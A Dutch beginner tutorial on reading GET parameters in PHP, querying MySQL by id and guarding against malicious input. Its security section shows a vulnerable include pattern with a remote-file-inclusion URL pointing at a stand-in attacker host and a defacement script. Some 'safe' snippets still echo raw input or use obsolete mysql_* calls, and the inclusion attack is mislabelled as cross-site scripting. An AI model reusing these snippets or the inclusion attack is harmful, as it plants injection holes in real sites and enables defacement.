Tutorials

Het ?id=1 verhaal

Uitleg over gegevens doorgeven via de url

Pagina 1

Standalone

Veel beginners willen graag weten hoe je nou zo'n pagina.php?id=1 maakt. Ik zal hier een beetje proberen uit te leggen hoe zoiets nou werkt.

Je kan ieder willekeurig php bestand aanroepen met een vraagteken en waardes erachter. Als je bijvoorbeeld achter het vraagteken id=1 aanroept is de GET variabele id beschikbaar in jou script. Het hangt er dus vanaf hoe je omgaat met deze input via de url.

Ik zal een voorbeeld geven hoe het werkt:

De pagina word aangeroepen met pagina.php?id=1

Dit is de code die weergeeft welke waarde id heeft:
<?
if(isset($_GET['id']))
{
echo $_GET['id'];
}
else
{
echo "Error: geen id meegegeven";
}
?>

Dit is een erg basic begin. Ook is het niet echt veilig. Omdat je gelijk de waarde uit de url echo't op je scherm. Probeer daarom ook zo veel mogelijk controle op de gebruikers invoer te hebben. Hierover dadelijk meer.

Het script zegt eigenlijk dit:

als de id uit de url bestaat geef het dan weer anders een error geven.

Omdat het hier om een id (nummer) gaat wil je natuurlijk alleen maar cijfers hebben in je invoer. We gaan daarom de controle uitvoeren of het echt alleen nummers bevat:

<?
if(isset($_GET['id']) && is_numeric($_GET['id']))
{
echo $_GET['id'];
}
else
{
echo "Error: id is incorrect of bestaat niet";
}
?>

In 'normaal' nederlands uitgeschreven zegt het script dit:

als die id uit de url bestaat en de id uit de url numeric is (een getal dus) dan weergeven anders error geven

Dus nu weet je hoe je een leuke en behoorlijk veilige id op je scherm krijgt. Natuurlijk wil iedereen meer. Hierbij nog een voorbeeld hoe je dit in combinatie bij een database kan gebruiken.
Pagina 2

Database combinatie

Om een record uit je database te selecteren moet je natuurlijk weten welke je wilt. Dit kan je krijgen door bijvoorbeeld eerst het hele overzicht te geven met beknopte informatie. In deze lijst word er een link aangemaakt met de id van de record bijv.: <a href="details.php?id=35">Test product</a>. (om zo'n lijst te maken verwijs ik je door naar andere mysql tutorials) In details.php begin je met onze laatste code en een mysql statement om zo dat record te selecteren:

<?
if(isset($_GET['id']) && is_numeric($_GET['id']))
{
$query = mysql_query("SELECT * FROM testtabel WHERE id='". $_GET['id'] ."'");
}
else
{
//script stoppen id is incorrect
die("Error: Hacking attempt :) ");
}
?>

Hier word een door middel van de query, in dit geval, record nummer 35 geselecteerd. Ik zal nu even een voorbeeld code maken welke ook de afhandeling doet en weergeeft op het scherm:

<?
if(isset($_GET['id']) && is_numeric($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$id = 1;
}

$query = mysql_query("SELECT * FROM testtabel WHERE id='". $id ."'");

$result = mysql_fetch_array($query);

echo $result['voornaam'] ."<br />";
echo $result['achternaam'] ."<br />";
?>

Dit is al een iets uitgebreider script met een iets andere opzet. Als de controle op de id lukt dan word gewoon de waarde doorgegeven. Als het juist niet klopt dan zeggen we gewoon id=1. Hierna stoppen we die id in de query en krijgen zo 1 resultaat terug omdat je met WHERE er maar 1 selecteerd. De hierna volgende regels geven deze resultaten weer.

Let op:
Er zit 1 'fout' in deze opzet: als de id niet goed is word de id 1. Dit is natuurlijk niet juist omdat een database dynamisch is en record nummer 1 juist verwijderd kan zijn. Daarom kan je erover nadenken om iets anders te kiezen, zoals via een query de eerste of laatste record selecteren. Dit is aan jou omdat het bij elk systeem anders is.
Pagina 3

Security issues

Als eerste een uitspraak die ik heb geleerd en welke veel zegt over de gebruiker:

Vertrouw de input van een gebruiker nooit.

Daarom zal ik een paar punten noemen waar je op moet letten en wat je er mogelijk tegen kan doen.

Denk aan het risico van mysql injections, site defacing, crosssite scripting enz. Dit is via bijvoorbeeld een slecht stukje script en een userinput via de url al mogelijk.

Cross-site scripting
Dus probeer nooit deze vorm:

<?
$pagina = $_GET['page'];

include($pagina .".php");
?>

Een veilige vorm hiervan is:

<?
$pagina = $_GET['pagina'];
$paginas = array("downloads","plaatjes","nogeenpagina");

if(in_array($pagina,$paginas) && file_exists($pagina .".php"))
{
include($pagina .".php");
}
else
{
include("default.php");
}
?>

Hierbij word gecontroleerd of jij het toegestaan heb d.m.v. de array en ook gekeken of het bestand bestaat. Een aanroep van de pagina zou kunnen zijn:

http://www.domein.nl/index.php?pagina=downloads

De aanroep van

http://www.domein.nl/index.php?pagina=gevoeligbestand

leidt dan gewoon naar default.php

Als deze beveiliging er niet in zat dan had je gewoon het volgende aankunnen roepen:

http://www.domein.nl/index.php?pagina=http://www.badsite.nl/badfile

In het script word dit:

http://www.domein.nl/index.php?pagina=http://www.badsite.nl/badfile.php

Een simpel voorbeeld van het badfile.php

<?
echo "Kijk je site is gehacked!!!";
?>

Bedenk zelf maar wat je meer kan uithalen met dit scriptje...

Integer waarden
Zoals in deze tuturial al vermeld zijn er een aantal filter mogelijkheden voor cijfer s (integers). Eén functie wil ik jullie niet onthouden: intval

Deze functie kan je bijvoorbeeld aanroepen als de is_int/is_numeric aanroep mislukt. Deze functie verwijderd alle tekens behalve cijfers. Nu kan je weer gaan kijken of het wel een correcte waarde is. (en je kan de event loggen).

Hier een voorbeeld code met mail functie als er iets verkeerd gaat:
<?
if(isset($_GET['id']) && is_int($_GET['id']))
{
echo $_GET['id'];
}
else
{
//Verkeerde waarden uitfilteren
$id = intval($_GET['id']);
$hacked = 1;

if(!empty($id))
{
echo $_GET['id'];
}
else
{
$hacked = 2;
die("Hacking attempt");
}

if($hacked == 1)
{
//bijv naar een simpel txt bestandje schrijven
}
else
{
//mail sturen, urgente situatie ;)
}
}
?>

Ik hoop je met dit voorbeeldje weer een beetje dichterbij de noodzaak te brengen van security. Ik heb dit ook een poos onderschat, totdat ik een eigen online rpg game opzette. (Ja, criminals ik weet het :))

Ik zal ook nog kijken voor een voorbeeld met strings...

Reacties

0
Nog geen reacties.